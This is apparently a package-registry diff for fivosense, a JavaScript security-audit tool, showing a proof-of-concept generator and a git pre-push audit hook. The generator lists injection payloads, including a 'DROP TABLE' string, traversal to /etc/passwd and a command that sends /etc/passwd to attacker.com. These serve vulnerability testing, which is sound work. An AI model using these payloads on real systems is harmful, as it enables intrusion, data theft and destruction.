fivosense 0.1.4 → 0.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/COMPLETE_SUMMARY.md +412 -0
- package/DOCUMENTATION.md +608 -0
- package/FINAL_VERIFICATION.md +316 -0
- package/README.md +198 -316
- package/VERIFICATION_CHECKLIST.md +307 -0
- package/dist/ai/client.d.ts +27 -0
- package/dist/ai/client.d.ts.map +1 -0
- package/dist/ai/client.js +167 -0
- package/dist/ai/client.js.map +1 -0
- package/dist/ai/judge.d.ts +3 -3
- package/dist/ai/judge.d.ts.map +1 -1
- package/dist/ai/judge.js +43 -14
- package/dist/ai/judge.js.map +1 -1
- package/dist/cli/index.js +48 -7
- package/dist/cli/index.js.map +1 -1
- package/dist/core/orchestrator.d.ts +31 -0
- package/dist/core/orchestrator.d.ts.map +1 -0
- package/dist/core/orchestrator.js +205 -0
- package/dist/core/orchestrator.js.map +1 -0
- package/dist/core/scope.d.ts +29 -0
- package/dist/core/scope.d.ts.map +1 -0
- package/dist/core/scope.js +143 -0
- package/dist/core/scope.js.map +1 -0
- package/dist/engine/adversary.d.ts +3 -2
- package/dist/engine/adversary.d.ts.map +1 -1
- package/dist/engine/adversary.js +43 -12
- package/dist/engine/adversary.js.map +1 -1
- package/dist/engine/poc.d.ts +20 -0
- package/dist/engine/poc.d.ts.map +1 -0
- package/dist/engine/poc.js +176 -0
- package/dist/engine/poc.js.map +1 -0
- package/dist/features/index.d.ts +7 -0
- package/dist/features/index.d.ts.map +1 -0
- package/dist/features/index.js +7 -0
- package/dist/features/index.js.map +1 -0
- package/dist/hooks/git.d.ts +31 -0
- package/dist/hooks/git.d.ts.map +1 -0
- package/dist/hooks/git.js +155 -0
- package/dist/hooks/git.js.map +1 -0
- package/mcp/index.js +48 -20
- package/mcp/package-lock.json +382 -0
- package/mcp/package.json +1 -1
- package/package.json +1 -1
- package/src/ai/client.ts +219 -0
- package/src/ai/judge.ts +51 -14
- package/src/cli/index.ts +46 -7
- package/src/core/orchestrator.ts +259 -0
- package/src/core/scope.ts +168 -0
- package/src/engine/adversary.ts +48 -12
- package/src/engine/poc.ts +212 -0
- package/src/features/index.ts +7 -0
- package/src/hooks/git.ts +187 -0
- package/vscode-extension/fivosense-vscode-0.1.0.vsix +0 -0
- package/vscode-extension/package-lock.json +4 -4
- package/vscode-extension/package.json +3 -3
- package/vscode-extension/src/extension.ts +65 -11
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"poc.d.ts","sourceRoot":"","sources":["../../src/engine/poc.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,oBAAoB,CAAC;AAEhD,MAAM,WAAW,OAAO;IACtB,QAAQ,EAAE,MAAM,CAAC;IACjB,OAAO,EAAE,MAAM,CAAC;IAChB,gBAAgB,EAAE,MAAM,CAAC;IACzB,QAAQ,EAAE,MAAM,CAAC;IACjB,WAAW,CAAC,EAAE,MAAM,CAAC;CACtB;AA8ID;;GAEG;AACH,wBAAgB,WAAW,CAAC,KAAK,EAAE,UAAU,GAAG,OAAO,CA6BtD;AAED;;GAEG;AACH,wBAAgB,iBAAiB,CAAC,GAAG,EAAE,OAAO,GAAG,MAAM,CAoBtD"}
|
|
@@ -0,0 +1,176 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* PoC Generator - Generate proof-of-concept exploits
|
|
3
|
+
*/
|
|
4
|
+
/**
|
|
5
|
+
* Generate SQL injection PoC
|
|
6
|
+
*/
|
|
7
|
+
function generateSQLPoC(trace) {
|
|
8
|
+
const payloads = [
|
|
9
|
+
"' OR '1'='1",
|
|
10
|
+
"'; DROP TABLE users--",
|
|
11
|
+
"' UNION SELECT NULL, username, password FROM users--",
|
|
12
|
+
];
|
|
13
|
+
const payload = payloads[0];
|
|
14
|
+
return {
|
|
15
|
+
category: 'SQL Injection',
|
|
16
|
+
payload,
|
|
17
|
+
expectedBehavior: 'Bypasses authentication or extracts data',
|
|
18
|
+
testCode: `
|
|
19
|
+
// Test SQL Injection
|
|
20
|
+
const maliciousInput = "${payload}";
|
|
21
|
+
const query = "SELECT * FROM users WHERE id = '" + maliciousInput + "'";
|
|
22
|
+
// Expected: Query becomes: SELECT * FROM users WHERE id = '' OR '1'='1'
|
|
23
|
+
// Result: Returns all users (authentication bypass)
|
|
24
|
+
`,
|
|
25
|
+
curlCommand: trace.path.includes('req.')
|
|
26
|
+
? `curl -X POST http://localhost:3000/api/endpoint -d "id=${encodeURIComponent(payload)}"`
|
|
27
|
+
: undefined,
|
|
28
|
+
};
|
|
29
|
+
}
|
|
30
|
+
/**
|
|
31
|
+
* Generate XSS PoC
|
|
32
|
+
*/
|
|
33
|
+
function generateXSSPoC(trace) {
|
|
34
|
+
const payloads = [
|
|
35
|
+
'<script>alert(document.cookie)</script>',
|
|
36
|
+
'<img src=x onerror=alert(1)>',
|
|
37
|
+
'<svg onload=alert(1)>',
|
|
38
|
+
];
|
|
39
|
+
const payload = payloads[0];
|
|
40
|
+
return {
|
|
41
|
+
category: 'Cross-Site Scripting (XSS)',
|
|
42
|
+
payload,
|
|
43
|
+
expectedBehavior: 'Executes JavaScript in victim browser',
|
|
44
|
+
testCode: `
|
|
45
|
+
// Test XSS
|
|
46
|
+
const maliciousInput = "${payload}";
|
|
47
|
+
document.getElementById('output').innerHTML = maliciousInput;
|
|
48
|
+
// Expected: Script executes, shows alert with cookies
|
|
49
|
+
// Impact: Session hijacking, data theft
|
|
50
|
+
`,
|
|
51
|
+
curlCommand: trace.path.includes('req.')
|
|
52
|
+
? `curl "http://localhost:3000/page?name=${encodeURIComponent(payload)}"`
|
|
53
|
+
: undefined,
|
|
54
|
+
};
|
|
55
|
+
}
|
|
56
|
+
/**
|
|
57
|
+
* Generate Command Injection PoC
|
|
58
|
+
*/
|
|
59
|
+
function generateCommandPoC(trace) {
|
|
60
|
+
const payloads = [
|
|
61
|
+
'; cat /etc/passwd',
|
|
62
|
+
'| whoami',
|
|
63
|
+
'&& curl attacker.com/?data=$(cat /etc/passwd)',
|
|
64
|
+
];
|
|
65
|
+
const payload = payloads[0];
|
|
66
|
+
return {
|
|
67
|
+
category: 'Command Injection',
|
|
68
|
+
payload,
|
|
69
|
+
expectedBehavior: 'Executes arbitrary system commands',
|
|
70
|
+
testCode: `
|
|
71
|
+
// Test Command Injection
|
|
72
|
+
const maliciousInput = "file.txt${payload}";
|
|
73
|
+
exec(\`cat \${maliciousInput}\`);
|
|
74
|
+
// Expected: Runs: cat file.txt; cat /etc/passwd
|
|
75
|
+
// Result: Leaks system password file
|
|
76
|
+
`,
|
|
77
|
+
curlCommand: trace.path.includes('req.')
|
|
78
|
+
? `curl -X POST http://localhost:3000/api/command -d "file=test.txt${encodeURIComponent(payload)}"`
|
|
79
|
+
: undefined,
|
|
80
|
+
};
|
|
81
|
+
}
|
|
82
|
+
/**
|
|
83
|
+
* Generate Path Traversal PoC
|
|
84
|
+
*/
|
|
85
|
+
function generatePathTraversalPoC(trace) {
|
|
86
|
+
const payloads = [
|
|
87
|
+
'../../../etc/passwd',
|
|
88
|
+
'..\\..\\..\\windows\\system32\\config\\sam',
|
|
89
|
+
'....//....//....//etc/passwd',
|
|
90
|
+
];
|
|
91
|
+
const payload = payloads[0];
|
|
92
|
+
return {
|
|
93
|
+
category: 'Path Traversal',
|
|
94
|
+
payload,
|
|
95
|
+
expectedBehavior: 'Reads files outside intended directory',
|
|
96
|
+
testCode: `
|
|
97
|
+
// Test Path Traversal
|
|
98
|
+
const maliciousInput = "${payload}";
|
|
99
|
+
fs.readFile(\`/uploads/\${maliciousInput}\`, (err, data) => {
|
|
100
|
+
// Expected: Reads /etc/passwd instead of /uploads/file
|
|
101
|
+
// Result: Exposes sensitive system files
|
|
102
|
+
});
|
|
103
|
+
`,
|
|
104
|
+
curlCommand: trace.path.includes('req.')
|
|
105
|
+
? `curl "http://localhost:3000/download?file=${encodeURIComponent(payload)}"`
|
|
106
|
+
: undefined,
|
|
107
|
+
};
|
|
108
|
+
}
|
|
109
|
+
/**
|
|
110
|
+
* Generate NoSQL Injection PoC
|
|
111
|
+
*/
|
|
112
|
+
function generateNoSQLPoC(trace) {
|
|
113
|
+
const payload = '{"$gt": ""}';
|
|
114
|
+
return {
|
|
115
|
+
category: 'NoSQL Injection',
|
|
116
|
+
payload,
|
|
117
|
+
expectedBehavior: 'Bypasses authentication or extracts data',
|
|
118
|
+
testCode: `
|
|
119
|
+
// Test NoSQL Injection
|
|
120
|
+
const maliciousInput = ${payload};
|
|
121
|
+
db.collection('users').find({ username: req.body.username, password: maliciousInput });
|
|
122
|
+
// Expected: Query matches all documents (password always > "")
|
|
123
|
+
// Result: Authentication bypass
|
|
124
|
+
`,
|
|
125
|
+
curlCommand: trace.path.includes('req.')
|
|
126
|
+
? `curl -X POST http://localhost:3000/login -H "Content-Type: application/json" -d '{"username":"admin","password":${payload}}'`
|
|
127
|
+
: undefined,
|
|
128
|
+
};
|
|
129
|
+
}
|
|
130
|
+
/**
|
|
131
|
+
* Generate PoC based on vulnerability type
|
|
132
|
+
*/
|
|
133
|
+
export function generatePoC(trace) {
|
|
134
|
+
switch (trace.category.toLowerCase()) {
|
|
135
|
+
case 'sql':
|
|
136
|
+
return generateSQLPoC(trace);
|
|
137
|
+
case 'xss':
|
|
138
|
+
return generateXSSPoC(trace);
|
|
139
|
+
case 'command':
|
|
140
|
+
return generateCommandPoC(trace);
|
|
141
|
+
case 'path':
|
|
142
|
+
return generatePathTraversalPoC(trace);
|
|
143
|
+
case 'nosql':
|
|
144
|
+
return generateNoSQLPoC(trace);
|
|
145
|
+
default:
|
|
146
|
+
return {
|
|
147
|
+
category: trace.category,
|
|
148
|
+
payload: '<malicious-input>',
|
|
149
|
+
expectedBehavior: 'Exploits vulnerability',
|
|
150
|
+
testCode: `
|
|
151
|
+
// Generic test for ${trace.category}
|
|
152
|
+
const maliciousInput = "<malicious-input>";
|
|
153
|
+
// Test with malicious input to verify vulnerability
|
|
154
|
+
`,
|
|
155
|
+
};
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
/**
|
|
159
|
+
* Format PoC as markdown
|
|
160
|
+
*/
|
|
161
|
+
export function formatPoCMarkdown(poc) {
|
|
162
|
+
let md = `## ${poc.category} - Proof of Concept\n\n`;
|
|
163
|
+
md += `### Payload\n\`\`\`\n${poc.payload}\n\`\`\`\n\n`;
|
|
164
|
+
md += `### Expected Behavior\n${poc.expectedBehavior}\n\n`;
|
|
165
|
+
md += `### Test Code\n\`\`\`javascript${poc.testCode}\n\`\`\`\n\n`;
|
|
166
|
+
if (poc.curlCommand) {
|
|
167
|
+
md += `### HTTP Test\n\`\`\`bash\n${poc.curlCommand}\n\`\`\`\n\n`;
|
|
168
|
+
}
|
|
169
|
+
md += `### Mitigation\n`;
|
|
170
|
+
md += `- Use parameterized queries or prepared statements\n`;
|
|
171
|
+
md += `- Validate and sanitize all user input\n`;
|
|
172
|
+
md += `- Use allow-lists instead of block-lists\n`;
|
|
173
|
+
md += `- Apply principle of least privilege\n`;
|
|
174
|
+
return md;
|
|
175
|
+
}
|
|
176
|
+
//# sourceMappingURL=poc.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"poc.js","sourceRoot":"","sources":["../../src/engine/poc.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/features/index.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,cAAc,YAAY,CAAC;AAC3B,cAAc,YAAY,CAAC;AAC3B,cAAc,UAAU,CAAC"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/features/index.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,cAAc,YAAY,CAAC;AAC3B,cAAc,YAAY,CAAC;AAC3B,cAAc,UAAU,CAAC"}
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Git Hooks - Pre-push security audit
|
|
3
|
+
*/
|
|
4
|
+
export interface GitHookResult {
|
|
5
|
+
allowed: boolean;
|
|
6
|
+
findings: number;
|
|
7
|
+
critical: number;
|
|
8
|
+
high: number;
|
|
9
|
+
message: string;
|
|
10
|
+
}
|
|
11
|
+
/**
|
|
12
|
+
* Get list of staged files
|
|
13
|
+
*/
|
|
14
|
+
export declare function getStagedFiles(): Promise<string[]>;
|
|
15
|
+
/**
|
|
16
|
+
* Get list of files changed in current branch vs main
|
|
17
|
+
*/
|
|
18
|
+
export declare function getBranchChangedFiles(base?: string): Promise<string[]>;
|
|
19
|
+
/**
|
|
20
|
+
* Run pre-push hook audit
|
|
21
|
+
*/
|
|
22
|
+
export declare function runPrePushHook(options?: {
|
|
23
|
+
blockOnCritical?: boolean;
|
|
24
|
+
blockOnHigh?: boolean;
|
|
25
|
+
verbose?: boolean;
|
|
26
|
+
}): Promise<GitHookResult>;
|
|
27
|
+
/**
|
|
28
|
+
* Install git pre-push hook
|
|
29
|
+
*/
|
|
30
|
+
export declare function installPrePushHook(repoPath?: string): Promise<boolean>;
|
|
31
|
+
//# sourceMappingURL=git.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"git.d.ts","sourceRoot":"","sources":["../../src/hooks/git.ts"],"names":[],"mappings":"AAAA;;GAEG;AASH,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,QAAQ,EAAE,MAAM,CAAC;IACjB,QAAQ,EAAE,MAAM,CAAC;IACjB,IAAI,EAAE,MAAM,CAAC;IACb,OAAO,EAAE,MAAM,CAAC;CACjB;AAED;;GAEG;AACH,wBAAsB,cAAc,IAAI,OAAO,CAAC,MAAM,EAAE,CAAC,CAWxD;AAED;;GAEG;AACH,wBAAsB,qBAAqB,CAAC,IAAI,GAAE,MAAe,GAAG,OAAO,CAAC,MAAM,EAAE,CAAC,CAWpF;AAED;;GAEG;AACH,wBAAsB,cAAc,CAAC,OAAO,GAAE;IAC5C,eAAe,CAAC,EAAE,OAAO,CAAC;IAC1B,WAAW,CAAC,EAAE,OAAO,CAAC;IACtB,OAAO,CAAC,EAAE,OAAO,CAAC;CACd,GAAG,OAAO,CAAC,aAAa,CAAC,CAoG9B;AAED;;GAEG;AACH,wBAAsB,kBAAkB,CAAC,QAAQ,GAAE,MAAY,GAAG,OAAO,CAAC,OAAO,CAAC,CAkBjF"}
|
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Git Hooks - Pre-push security audit
|
|
3
|
+
*/
|
|
4
|
+
import { auditFile } from '../index.js';
|
|
5
|
+
import { exec } from 'child_process';
|
|
6
|
+
import { promisify } from 'util';
|
|
7
|
+
const execAsync = promisify(exec);
|
|
8
|
+
/**
|
|
9
|
+
* Get list of staged files
|
|
10
|
+
*/
|
|
11
|
+
export async function getStagedFiles() {
|
|
12
|
+
try {
|
|
13
|
+
const { stdout } = await execAsync('git diff --cached --name-only --diff-filter=ACM');
|
|
14
|
+
return stdout
|
|
15
|
+
.split('\n')
|
|
16
|
+
.filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
|
|
17
|
+
.filter(f => f.trim().length > 0);
|
|
18
|
+
}
|
|
19
|
+
catch (error) {
|
|
20
|
+
console.warn('Failed to get staged files:', error);
|
|
21
|
+
return [];
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
/**
|
|
25
|
+
* Get list of files changed in current branch vs main
|
|
26
|
+
*/
|
|
27
|
+
export async function getBranchChangedFiles(base = 'main') {
|
|
28
|
+
try {
|
|
29
|
+
const { stdout } = await execAsync(`git diff --name-only ${base}...HEAD`);
|
|
30
|
+
return stdout
|
|
31
|
+
.split('\n')
|
|
32
|
+
.filter(f => f.endsWith('.js') || f.endsWith('.ts') || f.endsWith('.jsx') || f.endsWith('.tsx'))
|
|
33
|
+
.filter(f => f.trim().length > 0);
|
|
34
|
+
}
|
|
35
|
+
catch (error) {
|
|
36
|
+
console.warn('Failed to get branch changed files:', error);
|
|
37
|
+
return [];
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
/**
|
|
41
|
+
* Run pre-push hook audit
|
|
42
|
+
*/
|
|
43
|
+
export async function runPrePushHook(options = {}) {
|
|
44
|
+
const { blockOnCritical = true, blockOnHigh = false, verbose = true, } = options;
|
|
45
|
+
try {
|
|
46
|
+
// Get files to audit
|
|
47
|
+
const files = await getBranchChangedFiles();
|
|
48
|
+
if (files.length === 0) {
|
|
49
|
+
return {
|
|
50
|
+
allowed: true,
|
|
51
|
+
findings: 0,
|
|
52
|
+
critical: 0,
|
|
53
|
+
high: 0,
|
|
54
|
+
message: '✅ No JavaScript/TypeScript files changed',
|
|
55
|
+
};
|
|
56
|
+
}
|
|
57
|
+
if (verbose) {
|
|
58
|
+
console.log(`\n🔍 FivoSense Pre-Push Audit`);
|
|
59
|
+
console.log(`📁 Scanning ${files.length} file(s)...\n`);
|
|
60
|
+
}
|
|
61
|
+
let totalFindings = 0;
|
|
62
|
+
let totalCritical = 0;
|
|
63
|
+
let totalHigh = 0;
|
|
64
|
+
const issues = [];
|
|
65
|
+
// Audit each file
|
|
66
|
+
for (const file of files) {
|
|
67
|
+
try {
|
|
68
|
+
const result = await auditFile(file);
|
|
69
|
+
if (result.summary.total > 0) {
|
|
70
|
+
totalFindings += result.summary.total;
|
|
71
|
+
totalCritical += result.summary.critical;
|
|
72
|
+
totalHigh += result.summary.high;
|
|
73
|
+
if (verbose && (result.summary.critical > 0 || result.summary.high > 0)) {
|
|
74
|
+
console.log(`❌ ${file}:`);
|
|
75
|
+
console.log(` Critical: ${result.summary.critical}, High: ${result.summary.high}, Medium: ${result.summary.medium}`);
|
|
76
|
+
issues.push(`${file}: ${result.summary.critical}C/${result.summary.high}H/${result.summary.medium}M`);
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
catch (error) {
|
|
81
|
+
if (verbose) {
|
|
82
|
+
console.warn(`⚠️ Failed to audit ${file}:`, error);
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
// Determine if push should be blocked
|
|
87
|
+
const shouldBlock = (blockOnCritical && totalCritical > 0) || (blockOnHigh && totalHigh > 0);
|
|
88
|
+
if (verbose) {
|
|
89
|
+
console.log(`\n📊 Summary:`);
|
|
90
|
+
console.log(` Total findings: ${totalFindings}`);
|
|
91
|
+
console.log(` Critical: ${totalCritical}`);
|
|
92
|
+
console.log(` High: ${totalHigh}\n`);
|
|
93
|
+
}
|
|
94
|
+
if (shouldBlock) {
|
|
95
|
+
return {
|
|
96
|
+
allowed: false,
|
|
97
|
+
findings: totalFindings,
|
|
98
|
+
critical: totalCritical,
|
|
99
|
+
high: totalHigh,
|
|
100
|
+
message: `❌ Push blocked: ${totalCritical} critical and ${totalHigh} high severity issues found\n\n${issues.join('\n')}\n\nFix these issues or use --no-verify to bypass.`,
|
|
101
|
+
};
|
|
102
|
+
}
|
|
103
|
+
if (totalFindings > 0) {
|
|
104
|
+
return {
|
|
105
|
+
allowed: true,
|
|
106
|
+
findings: totalFindings,
|
|
107
|
+
critical: totalCritical,
|
|
108
|
+
high: totalHigh,
|
|
109
|
+
message: `⚠️ Push allowed with warnings: ${totalFindings} issue(s) found (${totalCritical}C/${totalHigh}H)`,
|
|
110
|
+
};
|
|
111
|
+
}
|
|
112
|
+
return {
|
|
113
|
+
allowed: true,
|
|
114
|
+
findings: 0,
|
|
115
|
+
critical: 0,
|
|
116
|
+
high: 0,
|
|
117
|
+
message: '✅ All files passed security audit',
|
|
118
|
+
};
|
|
119
|
+
}
|
|
120
|
+
catch (error) {
|
|
121
|
+
return {
|
|
122
|
+
allowed: true,
|
|
123
|
+
findings: 0,
|
|
124
|
+
critical: 0,
|
|
125
|
+
high: 0,
|
|
126
|
+
message: `⚠️ Pre-push hook failed: ${error instanceof Error ? error.message : 'Unknown error'}`,
|
|
127
|
+
};
|
|
128
|
+
}
|
|
129
|
+
}
|
|
130
|
+
/**
|
|
131
|
+
* Install git pre-push hook
|
|
132
|
+
*/
|
|
133
|
+
export async function installPrePushHook(repoPath = '.') {
|
|
134
|
+
try {
|
|
135
|
+
const hookPath = `${repoPath}/.git/hooks/pre-push`;
|
|
136
|
+
const hookScript = `#!/bin/sh
|
|
137
|
+
# FivoSense pre-push hook
|
|
138
|
+
npx fivosense --pre-push
|
|
139
|
+
exit $?
|
|
140
|
+
`;
|
|
141
|
+
await writeFile(hookPath, hookScript);
|
|
142
|
+
await execAsync(`chmod +x ${hookPath}`);
|
|
143
|
+
console.log('✅ Pre-push hook installed successfully');
|
|
144
|
+
return true;
|
|
145
|
+
}
|
|
146
|
+
catch (error) {
|
|
147
|
+
console.error('❌ Failed to install pre-push hook:', error);
|
|
148
|
+
return false;
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
async function writeFile(path, content) {
|
|
152
|
+
const { writeFile } = await import('fs/promises');
|
|
153
|
+
await writeFile(path, content);
|
|
154
|
+
}
|
|
155
|
+
//# sourceMappingURL=git.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"git.js","sourceRoot":"","sources":["../../src/hooks/git.ts"],"names":[],"mappings":"AAAA;;GAEG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAExC,OAAO,EAAE,IAAI,EAAE,MAAM,eAAe,CAAC;AACrC,OAAO,EAAE,SAAS,EAAE,MAAM,MAAM,CAAC;AAEjC,MAAM,SAAS,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC;AAUlC;;GAEG;AACH,MAAM,CAAC,KAAK,UAAU,cAAc;IAClC,IAAI,CAAC;QACH,MAAM,EAAE,MAAM,EAAE,GAAG,MAAM,SAAS,CAAC,iDAAiD,CAAC,CAAC;QACtF,OAAO,MAAM;aACV,KAAK,CAAC,IAAI,CAAC;aACX,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;aAC/F,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IACtC,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACf,OAAO,CAAC,IAAI,CAAC,6BAA6B,EAAE,KAAK,CAAC,CAAC;QACnD,OAAO,EAAE,CAAC;IACZ,CAAC;AACH,CAAC;AAED;;GAEG;AACH,MAAM,CAAC,KAAK,UAAU,qBAAqB,CAAC,OAAe,MAAM;IAC/D,IAAI,CAAC;QACH,MAAM,EAAE,MAAM,EAAE,GAAG,MAAM,SAAS,CAAC,wBAAwB,IAAI,SAAS,CAAC,CAAC;QAC1E,OAAO,MAAM;aACV,KAAK,CAAC,IAAI,CAAC;aACX,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;aAC/F,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IACtC,CAAC;IAAC,OAAO,KAAK,EAAE,CAAC;QACf,OAAO,CAAC,IAAI,CAAC,qCAAqC,EAAE,KAAK,CAAC